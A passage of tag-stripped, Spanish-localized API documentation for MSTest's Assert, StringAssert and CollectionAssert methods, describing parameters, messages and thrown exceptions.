minúsculas). - - - Objeto CultureInfo que proporciona información de comparación específica de la referencia cultural. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not equal to . - - - - - Comprueba si las cadenas especificadas son iguales y produce una excepción - si no lo son. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera. - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Objeto CultureInfo que proporciona información de comparación específica de la referencia cultural. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to . - - - - - Comprueba si las cadenas especificadas son distintas y produce una excepción - si son iguales. Para la comparación, se usa la referencia cultural invariable. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera que no - coincida con . - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Thrown if is equal to . - - - - - Comprueba si las cadenas especificadas son distintas y produce una excepción - si son iguales. Para la comparación, se usa la referencia cultural invariable. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera que no - coincida con . - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si las cadenas especificadas son distintas y produce una excepción - si son iguales. Para la comparación, se usa la referencia cultural invariable. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera que no - coincida con . - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si las cadenas especificadas son distintas y produce una excepción - si son iguales. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera que no - coincida con . - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Objeto CultureInfo que proporciona información de comparación específica de la referencia cultural. - - - Thrown if is equal to . - - - - - Comprueba si las cadenas especificadas son distintas y produce una excepción - si son iguales. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera que no - coincida con . - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Objeto CultureInfo que proporciona información de comparación específica de la referencia cultural. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si las cadenas especificadas son distintas y produce una excepción - si son iguales. - - - Primera cadena para comparar. Esta es la cadena que la prueba espera que no - coincida con . - - - Segunda cadena para comparar. Esta es la cadena generada por el código sometido a prueba. - - - Valor booleano que indica una comparación donde se distingue o no mayúsculas de minúsculas. (true - indica una comparación que no distingue mayúsculas de minúsculas). - - - Objeto CultureInfo que proporciona información de comparación específica de la referencia cultural. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si el objeto especificado es una instancia del tipo - esperado y produce una excepción si el tipo esperado no se encuentra en - la jerarquía de herencia del objeto. - - - El objeto que la prueba espera que sea del tipo especificado. - - - Tipo esperado de . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Comprueba si el objeto especificado es una instancia del tipo - esperado y produce una excepción si el tipo esperado no se encuentra en - la jerarquía de herencia del objeto. - - - El objeto que la prueba espera que sea del tipo especificado. - - - Tipo esperado de . - - - Mensaje que se va a incluir en la excepción cuando - no es una instancia de . El mensaje se - muestra en los resultados de las pruebas. - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Comprueba si el objeto especificado es una instancia del tipo - esperado y produce una excepción si el tipo esperado no se encuentra en - la jerarquía de herencia del objeto. - - - El objeto que la prueba espera que sea del tipo especificado. - - - Tipo esperado de . - - - Mensaje que se va a incluir en la excepción cuando - no es una instancia de . El mensaje se - muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is null or - is not in the inheritance hierarchy - of . - - - - - Comprueba si el objeto especificado no es una instancia del tipo - incorrecto y produce una excepción si el tipo especificado se encuentra en la - jerarquía de herencia del objeto. - - - El objeto que la prueba espera que no sea del tipo especificado. - - - El tipo que no debe tener. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Comprueba si el objeto especificado no es una instancia del tipo - incorrecto y produce una excepción si el tipo especificado se encuentra en la - jerarquía de herencia del objeto. - - - El objeto que la prueba espera que no sea del tipo especificado. - - - El tipo que no debe tener. - - - Mensaje que se va a incluir en la excepción cuando - es una instancia de . El mensaje se muestra - en los resultados de las pruebas. - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Comprueba si el objeto especificado no es una instancia del tipo - incorrecto y produce una excepción si el tipo especificado se encuentra en la - jerarquía de herencia del objeto. - - - El objeto que la prueba espera que no sea del tipo especificado. - - - El tipo que no debe tener. - - - Mensaje que se va a incluir en la excepción cuando - es una instancia de . El mensaje se muestra - en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not null and - is in the inheritance hierarchy - of . - - - - - Produce una excepción AssertFailedException. - - - Always thrown. - - - - - Produce una excepción AssertFailedException. - - - Mensaje que se va a incluir en la excepción. El mensaje se muestra en los - resultados de las pruebas. - - - Always thrown. - - - - - Produce una excepción AssertFailedException. - - - Mensaje que se va a incluir en la excepción. El mensaje se muestra en los - resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Always thrown. - - - - - Produce una excepción AssertInconclusiveException. - - - Always thrown. - - - - - Produce una excepción AssertInconclusiveException. - - - Mensaje que se va a incluir en la excepción. El mensaje se muestra en los - resultados de las pruebas. - - - Always thrown. - - - - - Produce una excepción AssertInconclusiveException. - - - Mensaje que se va a incluir en la excepción. El mensaje se muestra en los - resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Always thrown. - - - - - Las sobrecargas de igualdad estáticas se usan para comparar la igualdad de referencia de - instancias de dos tipos. Este método no debe usarse para comparar la igualdad de dos instancias. - Este objeto se devolverá siempre con Assert.Fail. Utilice - Assert.AreEqual y las sobrecargas asociadas en pruebas unitarias. - - Objeto A - Objeto B - False, siempre. - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado para el código que se va a probar y que se espera que inicie una excepción. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - El tipo de excepción que se espera que se inicie. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado a código que se va a probar y que se espera que inicie una excepción. - - - Mensaje que se va a incluir en la excepción cuando - no inicia una excepción de tipo . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - El tipo de excepción que se espera que se inicie. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado a código que se va a probar y que se espera que inicie una excepción. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - El tipo de excepción que se espera que se inicie. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado a código que se va a probar y que se espera que inicie una excepción. - - - Mensaje que se va a incluir en la excepción cuando - no inicia una excepción de tipo . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - El tipo de excepción que se espera que se inicie. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado a código que se va a probar y que se espera que inicie una excepción. - - - Mensaje que se va a incluir en la excepción cuando - no inicia una excepción de tipo . - - - Matriz de parámetros que se usa al formatear . - - - Type of exception expected to be thrown. - - - Thrown if does not throw exception of type . - - - El tipo de excepción que se espera que se inicie. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado a código que se va a probar y que se espera que inicie una excepción. - - - Mensaje que se va a incluir en la excepción cuando - no inicia una excepción de tipo . - - - Matriz de parámetros que se usa al formatear . - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - El tipo de excepción que se espera que se inicie. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción - - AssertFailedException - - si el código no produce la excepción dada o produce otra de un tipo que no sea . - - - Delegado para el código que se va a probar y que se espera que inicie una excepción. - - - Type of exception expected to be thrown. - - - Thrown if does not throws exception of type . - - - que ejecuta el delegado. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción AssertFailedException si el código no produce la excepción dada o produce otra de un tipo que no sea . - - Delegado para el código que se va a probar y que se espera que inicie una excepción. - - Mensaje que se va a incluir en la excepción cuando - no inicia una excepción de tipo . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - que ejecuta el delegado. - - - - - Comprueba si el código especificado por el delegado produce exactamente la excepción dada de tipo (y no de un tipo derivado) - y devuelve una excepción AssertFailedException si el código no produce la excepción dada o produce otra de un tipo que no sea . - - Delegado para el código que se va a probar y que se espera que inicie una excepción. - - Mensaje que se va a incluir en la excepción cuando - no inicia una excepción de tipo . - - - Matriz de parámetros que se usa al formatear . - - Type of exception expected to be thrown. - - Thrown if does not throws exception of type . - - - que ejecuta el delegado. - - - - - Reemplaza los caracteres NULL "\0" por "\\0". - - - Cadena para buscar. - - - La cadena convertida con los caracteres NULL reemplazados por "\\0". - - - This is only public and still present to preserve compatibility with the V1 framework. - - - - - Función auxiliar que produce una excepción AssertionFailedException. - - - nombre de la aserción que inicia una excepción - - - mensaje que describe las condiciones del error de aserción - - - Los parámetros. - - - - - Comprueba el parámetro para las condiciones válidas. - - - El parámetro. - - - Nombre de la aserción. - - - nombre de parámetro - - - mensaje de la excepción de parámetro no válido - - - Los parámetros. - - - - - Convierte un objeto en cadena de forma segura, con control de los valores y caracteres NULL. - Los valores NULL se convierten en "NULL". Los caracteres NULL se convierten en "\\0". - - - Objeto que se va a convertir en cadena. - - - La cadena convertida. - - - - - Aserción de cadena. - - - - - Obtiene la instancia de singleton de la funcionalidad CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void ContainsWords(this StringAssert cusomtAssert, string value, ICollection substrings)" - Users could then use a syntax similar to the default assertions which in this case is "StringAssert.That.ContainsWords(value, substrings);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Comprueba si la cadena especificada contiene la subcadena indicada - y produce una excepción si la subcadena no está en la - cadena de prueba. - - - La cadena que se espera que contenga . - - - La cadena que se espera que aparezca en . - - - Thrown if is not found in - . - - - - - Comprueba si la cadena especificada contiene la subcadena indicada - y produce una excepción si la subcadena no está en la - cadena de prueba. - - - La cadena que se espera que contenga . - - - La cadena que se espera que aparezca en . - - - Mensaje que se va a incluir en la excepción cuando - no se encuentra en . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not found in - . - - - - - Comprueba si la cadena especificada contiene la subcadena indicada - y produce una excepción si la subcadena no está en la - cadena de prueba. - - - La cadena que se espera que contenga . - - - La cadena que se espera que aparezca en . - - - Mensaje que se va a incluir en la excepción cuando - no se encuentra en . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not found in - . - - - - - Comprueba si la cadena especificada empieza por la subcadena indicada - y produce una excepción si la cadena de prueba no empieza por la - subcadena. - - - Cadena que se espera que empiece por . - - - Cadena que se espera que sea un prefijo de . - - - Thrown if does not begin with - . - - - - - Comprueba si la cadena especificada empieza por la subcadena indicada - y produce una excepción si la cadena de prueba no empieza por la - subcadena. - - - Cadena que se espera que empiece por . - - - Cadena que se espera que sea un prefijo de . - - - Mensaje que se va a incluir en la excepción cuando - no empieza por . El mensaje se - muestra en los resultados de las pruebas. - - - Thrown if does not begin with - . - - - - - Comprueba si la cadena especificada empieza por la subcadena indicada - y produce una excepción si la cadena de prueba no empieza por la - subcadena. - - - Cadena que se espera que empiece por . - - - Cadena que se espera que sea un prefijo de . - - - Mensaje que se va a incluir en la excepción cuando - no empieza por . El mensaje se - muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if does not begin with - . - - - - - Comprueba si la cadena especificada termina con la subcadena indicada - y produce una excepción si la cadena de prueba no termina con la - subcadena. - - - Cadena que se espera que termine con . - - - Cadena que se espera que sea un sufijo de . - - - Thrown if does not end with - . - - - - - Comprueba si la cadena especificada termina con la subcadena indicada - y produce una excepción si la cadena de prueba no termina con la - subcadena. - - - Cadena que se espera que termine con . - - - Cadena que se espera que sea un sufijo de . - - - Mensaje que se va a incluir en la excepción cuando - no termina con . El mensaje se - muestra en los resultados de las pruebas. - - - Thrown if does not end with - . - - - - - Comprueba si la cadena especificada termina con la subcadena indicada - y produce una excepción si la cadena de prueba no termina con la - subcadena. - - - Cadena que se espera que termine con . - - - Cadena que se espera que sea un sufijo de . - - - Mensaje que se va a incluir en la excepción cuando - no termina con . El mensaje se - muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if does not end with - . - - - - - Comprueba si la cadena especificada coincide con una expresión regular - y produce una excepción si la cadena no coincide con la expresión. - - - La cadena que se espera que coincida con . - - - Expresión regular con la que se espera que - coincida. - - - Thrown if does not match - . - - - - - Comprueba si la cadena especificada coincide con una expresión regular - y produce una excepción si la cadena no coincide con la expresión. - - - La cadena que se espera que coincida con . - - - Expresión regular con la que se espera que - coincida. - - - Mensaje que se va a incluir en la excepción cuando - no coincide con . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if does not match - . - - - - - Comprueba si la cadena especificada coincide con una expresión regular - y produce una excepción si la cadena no coincide con la expresión. - - - La cadena que se espera que coincida con . - - - Expresión regular con la que se espera que - coincida. - - - Mensaje que se va a incluir en la excepción cuando - no coincide con . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if does not match - . - - - - - Comprueba si la cadena especificada no coincide con una expresión regular - y produce una excepción si la cadena coincide con la expresión. - - - Cadena que se espera que no coincida con . - - - Expresión regular con la que se espera que no - coincida. - - - Thrown if matches . - - - - - Comprueba si la cadena especificada no coincide con una expresión regular - y produce una excepción si la cadena coincide con la expresión. - - - Cadena que se espera que no coincida con . - - - Expresión regular con la que se espera que no - coincida. - - - Mensaje que se va a incluir en la excepción cuando - coincide con . El mensaje se muestra en los resultados de las - pruebas. - - - Thrown if matches . - - - - - Comprueba si la cadena especificada no coincide con una expresión regular - y produce una excepción si la cadena coincide con la expresión. - - - Cadena que se espera que no coincida con . - - - Expresión regular con la que se espera que no - coincida. - - - Mensaje que se va a incluir en la excepción cuando - coincide con . El mensaje se muestra en los resultados de las - pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if matches . - - - - - Colección de clases auxiliares para probar varias condiciones asociadas - a las colecciones en las pruebas unitarias. Si la condición que se está probando no se - cumple, se produce una excepción. - - - - - Obtiene la instancia de singleton de la funcionalidad CollectionAssert. - - - Users can use this to plug-in custom assertions through C# extension methods. - For instance, the signature of a custom assertion provider could be "public static void AreEqualUnordered(this CollectionAssert cusomtAssert, ICollection expected, ICollection actual)" - Users could then use a syntax similar to the default assertions which in this case is "CollectionAssert.That.AreEqualUnordered(list1, list2);" - More documentation is at "https://github.com/Microsoft/testfx-docs". - - - - - Comprueba si la colección especificada contiene el elemento indicado - y produce una excepción si el elemento no está en la colección. - - - Colección donde buscar el elemento. - - - El elemento que se espera que esté en la colección. - - - Thrown if is not found in - . - - - - - Comprueba si la colección especificada contiene el elemento indicado - y produce una excepción si el elemento no está en la colección. - - - Colección donde buscar el elemento. - - - El elemento que se espera que esté en la colección. - - - Mensaje que se va a incluir en la excepción cuando - no se encuentra en . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not found in - . - - - - - Comprueba si la colección especificada contiene el elemento indicado - y produce una excepción si el elemento no está en la colección. - - - Colección donde buscar el elemento. - - - El elemento que se espera que esté en la colección. - - - Mensaje que se va a incluir en la excepción cuando - no se encuentra en . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not found in - . - - - - - Comprueba si la colección especificada no contiene el elemento indicado - y produce una excepción si el elemento se encuentra en la colección. - - - Colección donde buscar el elemento. - - - El elemento que se espera que no esté en la colección. - - - Thrown if is found in - . - - - - - Comprueba si la colección especificada no contiene el elemento indicado - y produce una excepción si el elemento se encuentra en la colección. - - - Colección donde buscar el elemento. - - - El elemento que se espera que no esté en la colección. - - - Mensaje que se va a incluir en la excepción cuando - se encuentra en . El mensaje se muestra en los resultados de las - pruebas. - - - Thrown if is found in - . - - - - - Comprueba si la colección especificada no contiene el elemento indicado - y produce una excepción si el elemento se encuentra en la colección. - - - Colección donde buscar el elemento. - - - El elemento que se espera que no esté en la colección. - - - Mensaje que se va a incluir en la excepción cuando - se encuentra en . El mensaje se muestra en los resultados de las - pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is found in - . - - - - - Comprueba que todos los elementos de la colección especificada no sean NULL - y produce una excepción si alguno lo es. - - - Colección donde buscar elementos NULL. - - - Thrown if a null element is found in . - - - - - Comprueba que todos los elementos de la colección especificada no sean NULL - y produce una excepción si alguno lo es. - - - Colección donde buscar elementos NULL. - - - Mensaje que se va a incluir en la excepción cuando - contiene un elemento NULL. El mensaje se muestra en los resultados de las pruebas. - - - Thrown if a null element is found in . - - - - - Comprueba que todos los elementos de la colección especificada no sean NULL - y produce una excepción si alguno lo es. - - - Colección donde buscar elementos NULL. - - - Mensaje que se va a incluir en la excepción cuando - contiene un elemento NULL. El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if a null element is found in . - - - - - Comprueba si todos los elementos de la colección especificada son únicos o no - y produce una excepción si dos elementos de la colección son iguales. - - - Colección donde buscar elementos duplicados. - - - Thrown if a two or more equal elements are found in - . - - - - - Comprueba si todos los elementos de la colección especificada son únicos o no - y produce una excepción si dos elementos de la colección son iguales. - - - Colección donde buscar elementos duplicados. - - - Mensaje que se va a incluir en la excepción cuando - contiene al menos un elemento duplicado. El mensaje se muestra en los - resultados de las pruebas. - - - Thrown if a two or more equal elements are found in - . - - - - - Comprueba si todos los elementos de la colección especificada son únicos o no - y produce una excepción si dos elementos de la colección son iguales. - - - Colección donde buscar elementos duplicados. - - - Mensaje que se va a incluir en la excepción cuando - contiene al menos un elemento duplicado. El mensaje se muestra en los - resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if a two or more equal elements are found in - . - - - - - Comprueba si una colección es un subconjunto de otra y produce - una excepción si algún elemento del subconjunto no se encuentra también en el - superconjunto. - - - Se esperaba que la colección fuera un subconjunto de . - - - Se esperaba que la colección fuera un superconjunto de - - - Thrown if an element in is not found in - . - - - - - Comprueba si una colección es un subconjunto de otra y produce - una excepción si algún elemento del subconjunto no se encuentra también en el - superconjunto. - - - Se esperaba que la colección fuera un subconjunto de . - - - Se esperaba que la colección fuera un superconjunto de - - - Mensaje que se va a incluir en la excepción cuando un elemento de - no se encuentra en . - El mensaje se muestra en los resultados de las pruebas. - - - Thrown if an element in is not found in - . - - - - - Comprueba si una colección es un subconjunto de otra y produce - una excepción si algún elemento del subconjunto no se encuentra también en el - superconjunto. - - - Se esperaba que la colección fuera un subconjunto de . - - - Se esperaba que la colección fuera un superconjunto de - - - Mensaje que se va a incluir en la excepción cuando un elemento de - no se encuentra en . - El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if an element in is not found in - . - - - - - Comprueba si una colección no es un subconjunto de otra y produce - una excepción si todos los elementos del subconjunto se encuentran también en el - superconjunto. - - - Se esperaba que la colección no fuera un subconjunto de . - - - Se esperaba que la colección no fuera un superconjunto de - - - Thrown if every element in is also found in - . - - - - - Comprueba si una colección no es un subconjunto de otra y produce - una excepción si todos los elementos del subconjunto se encuentran también en el - superconjunto. - - - Se esperaba que la colección no fuera un subconjunto de . - - - Se esperaba que la colección no fuera un superconjunto de - - - Mensaje que se va a incluir en la excepción cuando cada elemento de - también se encuentra en . - El mensaje se muestra en los resultados de las pruebas. - - - Thrown if every element in is also found in - . - - - - - Comprueba si una colección no es un subconjunto de otra y produce - una excepción si todos los elementos del subconjunto se encuentran también en el - superconjunto. - - - Se esperaba que la colección no fuera un subconjunto de . - - - Se esperaba que la colección no fuera un superconjunto de - - - Mensaje que se va a incluir en la excepción cuando cada elemento de - también se encuentra en . - El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if every element in is also found in - . - - - - - Comprueba si dos colecciones contienen los mismos elementos y produce - una excepción si alguna de ellas contiene un elemento que - no está en la otra. - - - Primera colección para comparar. Contiene los elementos que la prueba - espera. - - - Segunda colección para comparar. Esta es la colección generada por - el código sometido a prueba. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Comprueba si dos colecciones contienen los mismos elementos y produce - una excepción si alguna de ellas contiene un elemento que - no está en la otra. - - - Primera colección para comparar. Contiene los elementos que la prueba - espera. - - - Segunda colección para comparar. Esta es la colección generada por - el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando un elemento se encontró - en una de las colecciones pero no en la otra. El mensaje se muestra - en los resultados de las pruebas. - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Comprueba si dos colecciones contienen los mismos elementos y produce - una excepción si alguna de ellas contiene un elemento que - no está en la otra. - - - Primera colección para comparar. Contiene los elementos que la prueba - espera. - - - Segunda colección para comparar. Esta es la colección generada por - el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando un elemento se encontró - en una de las colecciones pero no en la otra. El mensaje se muestra - en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if an element was found in one of the collections but not - the other. - - - - - Comprueba si dos colecciones contienen elementos distintos y produce una - excepción si las colecciones contienen elementos idénticos, independientemente - del orden. - - - Primera colección para comparar. Contiene los elementos que la prueba - espera que sean distintos a los de la colección real. - - - Segunda colección para comparar. Esta es la colección generada por - el código sometido a prueba. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Comprueba si dos colecciones contienen elementos distintos y produce una - excepción si las colecciones contienen elementos idénticos, independientemente - del orden. - - - Primera colección para comparar. Contiene los elementos que la prueba - espera que sean distintos a los de la colección real. - - - Segunda colección para comparar. Esta es la colección generada por - el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - contiene los mismos elementos que . El mensaje - se muestra en los resultados de las pruebas. - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Comprueba si dos colecciones contienen elementos distintos y produce una - excepción si las colecciones contienen elementos idénticos, independientemente - del orden. - - - Primera colección para comparar. Contiene los elementos que la prueba - espera que sean distintos a los de la colección real. - - - Segunda colección para comparar. Esta es la colección generada por - el código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - contiene los mismos elementos que . El mensaje - se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if the two collections contained the same elements, including - the same number of duplicate occurrences of each element. - - - - - Comprueba si todos los elementos de la colección especificada son instancias - del tipo esperado y produce una excepción si el tipo esperado no - se encuentra en la jerarquía de herencia de uno o más de los elementos. - - - Colección que contiene los elementos que la prueba espera que sean del - tipo especificado. - - - El tipo esperado de cada elemento de . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Comprueba si todos los elementos de la colección especificada son instancias - del tipo esperado y produce una excepción si el tipo esperado no - se encuentra en la jerarquía de herencia de uno o más de los elementos. - - - Colección que contiene los elementos que la prueba espera que sean del - tipo especificado. - - - El tipo esperado de cada elemento de . - - - Mensaje que se va a incluir en la excepción cuando un elemento de - no es una instancia de - . El mensaje se muestra en los resultados de las pruebas. - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Comprueba si todos los elementos de la colección especificada son instancias - del tipo esperado y produce una excepción si el tipo esperado no - se encuentra en la jerarquía de herencia de uno o más de los elementos. - - - Colección que contiene los elementos que la prueba espera que sean del - tipo especificado. - - - El tipo esperado de cada elemento de . - - - Mensaje que se va a incluir en la excepción cuando un elemento de - no es una instancia de - . El mensaje se muestra en los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if an element in is null or - is not in the inheritance hierarchy - of an element in . - - - - - Comprueba si dos colecciones especificadas son iguales y produce una excepción - si las colecciones no son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera. - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Thrown if is not equal to - . - - - - - Comprueba si dos colecciones especificadas son iguales y produce una excepción - si las colecciones no son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera. - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not equal to - . - - - - - Comprueba si dos colecciones especificadas son iguales y produce una excepción - si las colecciones no son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera. - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is not equal to - . - - - - - Comprueba si dos colecciones especificadas son distintas y produce una excepción - si las colecciones son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera que - no coincida con . - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Thrown if is equal to . - - - - - Comprueba si dos colecciones especificadas son distintas y produce una excepción - si las colecciones son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera que - no coincida con . - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is equal to . - - - - - Comprueba si dos colecciones especificadas son distintas y produce una excepción - si las colecciones son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera que - no coincida con . - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Mensaje que se va a incluir en la excepción cuando - es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Matriz de parámetros que se usa al formatear . - - - Thrown if is equal to . - - - - - Comprueba si dos colecciones especificadas son iguales y produce una excepción - si las colecciones no son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera. - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Implementación de comparación que se va a usar al comparar elementos de la colección. - - - Thrown if is not equal to - . - - - - - Comprueba si dos colecciones especificadas son iguales y produce una excepción - si las colecciones no son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la prueba espera. - - - Segunda colección para comparar. Esta es la colección generada por el - código sometido a prueba. - - - Implementación de comparación que se va a usar al comparar elementos de la colección. - - - Mensaje que se va a incluir en la excepción cuando - no es igual a . El mensaje se muestra en - los resultados de las pruebas. - - - Thrown if is not equal to - . - - - - - Comprueba si dos colecciones especificadas son iguales y produce una excepción - si las colecciones no son iguales. La igualdad equivale a tener los mismos - elementos en el mismo orden y la misma cantidad. Las distintas referencias al mismo - valor se consideran iguales. - - - Primera colección para comparar. Esta es la colección que la 